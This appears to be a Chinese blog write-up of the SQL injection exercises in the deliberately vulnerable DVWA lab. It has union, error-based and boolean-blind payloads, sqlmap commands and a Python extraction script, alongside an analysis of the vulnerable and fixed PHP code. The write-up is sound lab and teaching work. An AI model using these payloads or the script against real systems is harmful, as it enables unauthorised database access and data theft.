目录
SQL Injection-LOW
Union注入
注入点判断
字段判断
获取数据库名
获取表名
获取列名
获取数据
Error注入
获取表名
获取列名
获取数据
源码解析
主要步骤
漏洞原因
SQL Injection-MIDIUM
Union
注入点判断
获取表名
Error注入
源码分析
步骤
漏洞原因
SQL Injection-HIGH
Union注入
注入点检测
字段判断
获取表名
Error注入
源码解析
主要步骤
漏洞原因
SQL Injection(Blind)-LOW
Boolean盲注
获取数据库名
sqlmap
获取数据库名
获取表名
获取列名
获取数据
源码解析
主要步骤
漏洞原因
SQL Injection(Blind)-MIDIUM
Boolean盲注
手工
sqlmap
源码解析
主要步骤
漏洞原因
SQL Injection(Blind)-HIGH
手工注入
sqlmap
源码分析
主要步骤
漏洞原因
IMPOSSIBLE
非盲注
主要步骤
安全原因
盲注
medium级别 Error注入 和 Boolean盲注脚本
本篇文章,针对靶机dvwa(Damn Vulnerable Web Application)中的SQL Injection、SQL Injection(Blind)的LOW、MIDIUM、HIGH安全级别使用网络安全-SQL注入原理及防御SQL注入中提到的SQL注入技术,利用网络安全-Mysql注入知识点中提到的数据库函数,使用手工/sqlmap进行sql注入。并根据网络安全-php安全知识点对LOW、MIDIUM、HIGH、IMPOSSIBLE安全级别的代码进行解释。对于非盲注使用UNION注入、ERROR注入、对于盲注,使用BOOLEAN注入和sqlmap,TIME注入耗时太久,没有采用。
目标:获取用户名等感兴趣的信息
正常提交payload为1
1 and 1=1#
1 and 1=2#
结论:不是数字型注入。
1' and 1=1#
1' and 1=2#
没有结果返回
结论:字符型注入,单引号闭合
sql语句猜测
First name即回显的First name在数据库中对应的字段,Surname同理
假设表名为users,User ID 对应的字段为id
select First name,Surname from users where id = 'User ID'
猜测是2个字段,直接从2开始。
1' order by 2#
再递增
1' order by 3#
返回异常
结论:猜测正确,字段为2
1' UNION SELECT 1,database() from information_schema.schemata#
结论:数据库名 dvwa
1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
结论:有两个表 guestbook、users
假设仅对users表感兴趣,其他表只需要把下面的users改为其他即可。
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
结论:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login
假设:first_name、last_name已返回,我们对user和avatar感兴趣。对其他的感兴趣下面就缓存其他列。
为了避免分不清各个数据,使用":",即0x3a进行分隔。
1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#
user:admin对应的avatar:/dvwa/hackable/users/admin.jpg,以此类推。
注入点判断、字段判断和Union注入一样。当前数据库就不写了,用database()函数代替。使用updatexml()函数进行错误注入。
0x7e是~,这样报错的结果就是~sql语句运行结果~。
1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
同理,获取第二张表只需将上面payload改为limit 1,1即可,不再赘述。
1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
同理,获取第二列只需将上面payload改为limit 1,1即可,其余列继续增加,不再赘述。
1' and updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1)#
同理,获取第二条数据只需将上面payload改为limit 1,1即可,其余数据继续增加,不再赘述。
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
没有进行敏感字符过滤
url上没有参数,是post方式,下拉框进行选择,只能抓包了。
payload和LOW级别的Union注入一样,不再赘述,有问题下方评论。
结论:数字型,无需闭合
字段判断、获取数据库与LOW一致,不必闭合,由在客户端提交,改为在burpsuite中提交。
例如,数据库判断,其他类似,不再赘述。
id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit
1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
发现单引号被转义
工具BEJSON,进行字符转16进制,注意,工具没有加0x,需要自行添加。
1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x64767761#
即'dvwa'转为16进制的dvwa 0x64767761
后序步骤类似,将字符转为16进制即可。
通过上面的Union注入可知,相对于LOW而言,不必闭合,由在客户端提交,改为在burpsuite中提交。
例如,获取表名:
id=1 and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#&Submit=Submit
后序步骤与LOW级别类似,遇到单引号时,即需要填写表名时通过16进制进行绕过,不再赘述,有问题下方评论。
' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字(如 and or等),它的功能只是转义一些字符,仅成功过滤了',属于开发者对函数功能了解的不够全,网络安全-php安全知识点中有对该函数的解释。
点击按钮弹出窗口,然后再填写数据。
1' and 1=1#
1' 1=2#
结论:字符型注入,需要闭合,闭合字符为 ' ,当然,在这之前我也尝试了数字型,为了避免文章篇幅过长,不再赘述。
1'order by 2#
1' order by 3
不是数据库的出错提示,估计是使用了or die函数进行的自定义提示,这样的话估计不能使用Error注入。
结论:字段为2
1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#
这...不做了,除了弹个框,和LOW级别的payload一样啊,感觉没有加什么,我以为会有些过滤,需要绕过的。。。不再赘述了。
注入点判断、字段判断和Union注入一样。当前数据库就不写了,用database()函数代替。使用updatexml()函数进行错误注入。
1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
果然,不能使用Error注入,应该是使用了or die函数。接下来看源代码吧。
Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
First name: {$first}
Surname: {$last}
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
想要利用session和自定义错误返回来增加安全系数,成功的躲过了Error注入方式
正常提交,payload为1
没有回显,采用盲注
注入点判断、字段判断和Union注入一样。
先获取长度
1' and length(database())>3#
1' and length(database())>4#
结论:数据库名长度>3但不>4,即数据库长度为4。
依次判断4个字符
1' and substr(database(),1,1)='a'#
第一个字符不是a,上图的url是进行了编码,网上找了个工具,进行了解码,可以看出就是上面的payload
替换为字符d
1' and substr(database(),1,1)='d'#
字符d时返回正确。
其余的类似,不再赘述。 实际上做时,会写脚本或使用sqlmap,不然工作量太大,写脚本也不会按照ASCII表去一个个的尝试,可以先判断字符是不是字母,然后再二分查找之类的。
接下来使用sqlmap进行展示,有关sqlmap的知识可以查看:网络安全-sqlmap学习笔记
先获取cookie备用,按F12,控制台输入 document.cookie
"security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5"
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" --current-db --technique=B -v 3 --batch
还是脚本快,1秒解决。sqlmap使用的是mid函数,和substr一样,可以查看网络安全-Mysql注入知识点
结论:数据库名 dvwa
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa --tables --technique=B -v 3 --batch
结论:dvwa数据库有2个表,guestbook、users
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users --columns --technique=B -v 3 --batch
结论:见上图,不手打了。
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users -C user,password,avatar --technique=B -v 3 --dump --batch
还有个csv,里面和cmd窗口显示的一致。
0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
没有进行敏感字符过滤
和MIDDLE级别的非盲注一样,使用了下拉框,是post方式,另外,没有回显。
注入点判断,字段判断与非盲注一样
注入点是数字型的,不必闭合。
payload与LOW级别的盲注的区别只是少了闭合字符'
以数据库长度为例
id=1 and length(database())>3#&Submit=Submit
数据库长度>3但不>4,即数据库长度为4。后续不再赘述,有问题请下方评论。
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium;csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy;PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2" --forms --current-db --technique=B -v 3 --batch
不清楚原因
python sqlmap.py -r sqli_blind_midium.txt --technique=B -v 3 --current-db --batch
搞不定,可能sqlmap没学好吧,哪位大佬知道原因,请下方评论,十分感谢!!!这是抓到的包sqli_blind_midium.txt
POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2
Upgrade-Insecure-Requests: 1id=1&Submit=Submit
0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
//mysql_close();
}
?>
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字(如 and or等),它的功能只是转义一些字符,属于开发者对函数功能了解的不够全,网络安全-php安全知识点中有对该函数的解释。
抓包过程和MIDIUM级别的一样,Proxy抓包,发送到Repeater,为什么粘贴出来呢?因为cookie里面有id,非盲注高级别的源码是从SESSION中得到id,估计这个是从COOKIE中,另外id进行了url编码。工具:站长URL编码/解码
payload与LOW级别的盲注的区别只是在弹出的这个框框里面填写。
由于页面跳转,,防止了自动化sql注入,目前版本的sqlmap应该无法成功注入。
0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
想要利用COOKIE来增加安全系数,抓包可绕过。
prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
进行了预编译,不再拼接sql语句,而是替换
检查了token
判断了数据类型是否仅为数字
判断了结果是否仅为1行
prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
在上面的基础上,去除了回显,更加安全。
-------------------------------2020.10.13更新--------------------------------
dvwa.py
"""
--coding:utf-8--
@File: dvwa.py
@Author:frank yu
@DateTime: 2020.10.13 13:52
@Contact: [email protected]
@Description:
"""
import requests
headers = {
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '18',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli/',
'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; '
'PHPSESSID=geabfbdgj4h2683s7sc5urlhd6',
'Upgrade-Insecure-Requests': '1',
}
headers_blind = {
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '18',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/',
'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2',
'Upgrade-Insecure-Requests': '1',
}
url_not_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli/'
url_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/'
def Post(url, headers, data):
req = requests.post(url, headers=headers, data=data)
return str(req.text)
def Get_tables():
tables = []
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT table_name from information_schema.tables ' \
f'where table_schema=database() limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
if len(res.split('~')) < 2:
break
tables.append(res.split('~')[1])
i += 1
print('tables:', tables)
return tables
def Get_columns(table):
columns = []
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
if len(res.split('~')) < 2:
break
columns.append(res.split('~')[1])
i += 1
print('columns:', columns)
return columns
def Get_data(table, cols):
datas = []
c = ',0x3a,'.join([col for col in cols])
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT concat({c}) from {table} limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
# print(res)
if res.find('pre') == -1:
break
datas.append(res.split('~')[1])
i += 1
print('datas:', datas)
return datas
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def Get_db_blind():
# 长度
length = 1
while True:
uid = f'1 and length(database())>{length}#'
len_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, len_payloads)
if res.find('exists') == -1:
break
length += 1
print('数据库长度:', length)
db = ""
i = 1
while i <= length:
for ascode in range(ord('a'), ord('z') + 1):
uid = f'1 and ascii(substr(database(),{i},1))={ascode}# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, db_payloads)
if res.find('MISSING') == -1:
# print(res)
db = db + str(chr(ascode))
break
i += 1
# print(f'{i}/{length} finished...')
print('db:', db)
return db
def Get_tables_blind():
t_num = 1
while True:
uid = f'1 and (select count(table_name) from information_schema.tables where ' \
f'table_schema=database())={t_num}#'
tableNum_payload = {'id': uid, 'Submit': 'Submit'}
# print(tableNum_payload)
res = Post(url_blind, headers_blind, tableNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
t_num += 1
print(f'tableNum:{t_num}')
tables = []
t = 0
# 所有表
while t < t_num:
table = ""
t_len = 1
# 表名长度
while True:
# 第t+1个表的长度
uid = f'1 and length(substr((select table_name from information_schema.tables ' \
f'where table_schema=database() limit {t},1),1))={t_len}'
tableLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, tableLen_payload)
if res.find('MISSING') == -1:
break
t_len += 1
i = 1
# 表名
while i <= t_len:
# 第t+1个表的表名
for ascode in range(ord('a'), ord('z') + 1):
# 第i个字符
uid = f'1 and ascii(substr((select table_name from information_schema.tables ' \
f'where table_schema=database() limit {t},1),{i},1))={ascode}# '
# print(uid)
table_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, table_payloads)
if res.find('MISSING') == -1:
# print(res)
table = table + str(chr(ascode))
break
i += 1
print('table:', table)
# print(f'{t + 1}/{t_num} finished...')
tables.append(table)
t += 1
return tables
def Get_columns_blind(table):
columnNum = 1
while True:
uid = f'1 and (select count(column_name) from information_schema.columns' \
f' where table_schema=database() and table_name={table})={columnNum}#'
# print(uid)
columnNum_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, columnNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
columnNum += 1
print(f'columnNum:{columnNum}')
cols = []
c = 0
# 所有表
while c < columnNum:
col = ""
c_len = 1
# 列名长度
while True:
# 第t+1个表的长度
uid = f'1 and length(substr((select column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {c},1),1))={c_len}#'
# print(uid)
columnLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, columnLen_payload)
if res.find('MISSING') == -1:
break
c_len += 1
# print('columnLen:', c_len)
i = 1
# 列名
while i <= c_len:
# 第c+1个列的列名
for ascode in range(ord('a'), ord('z') + 1):
# 第i个字符
uid = f'1 and ascii(substr((select column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {c},1),{i},1))={ascode}# '
# print(uid)
table_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, table_payloads)
if res.find('MISSING') == -1:
# print(res)
col = col + str(chr(ascode))
break
i += 1
print('col:', col)
# print(f'{c + 1}/{columnNum} finished...')
cols.append(col)
c += 1
return cols
def Get_data_blind(table, col):
# 猜测的数据字典
data_guess = 'abcdefghijklmnopqrstuvwxyz1234567890/.'
rowNum = 1
while True:
uid = f'1 and (select count(*) from {table})={rowNum}#'
# print(uid)
fieldNum_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, fieldNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
rowNum += 1
print(f'fieldNum:{rowNum}')
row = 0
# 一行行的爆数据,就不保存了,直接输出
while row < rowNum:
# 数据长度
rowLen = 1
while True:
uid = f'1 and length(substr((select {col} from {table} limit {row},1),1)) = {rowLen}#'
# print(uid)
rowLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, rowLen_payload)
if res.find('MISSING') == -1:
break
rowLen += 1
# print('rowLen:', rowLen)
fields = ""
for m in range(1, rowLen + 1):
for chr in data_guess:
uid = f'1 and ascii(substr((select {col} from {table} limit {row},1),{m},1))={ord(chr)} #'
# print(uid)
rowContent_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, rowContent_payload)
if res.find('MISSING') == -1:
fields = fields + chr
break
print(fields)
row += 1
if __name__ == "__main__":
print('dvwa medium级别 Error注入')
Get_tables()
users_hex = str_to_hex('users')
Get_columns(f'0x{users_hex}')
cols = ['user', 'avatar']
Get_data('users', cols)
print('dvwa medium级别 Boolean盲注')
Get_db_blind()
Get_tables_blind()
Get_columns_blind(f'0x{users_hex}')
cols = ['user', 'avatar']
Get_data_blind('users', 'user')
# Get_data_blind('users', 'avatar')
不满意的地方
1.花费了我将近一下午的时间,由于post方式,不容易调试
2.没有很好的兼容性
3.updatexml注入只能显示32位,本来想用~来判断结果,最后使用的pre,显示的不全,有时间学学报错注入的其他函数
4.用的话需要修改url,headers,盲注的猜测字符字典
5.用到的包就是request,可以查看Python-requests库的学习与使用举例,解析html直接使用的字符串查找,可以使用beautifulsoup这个包。
看到这位工作了几年的老哥,依然很难写出兼容性强的代码,感觉好受一点。。。 sqlmap还是很强的,不过除了需要一个个
字符猜的那种,不建议使用sqlmap,还是手工比较好。
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。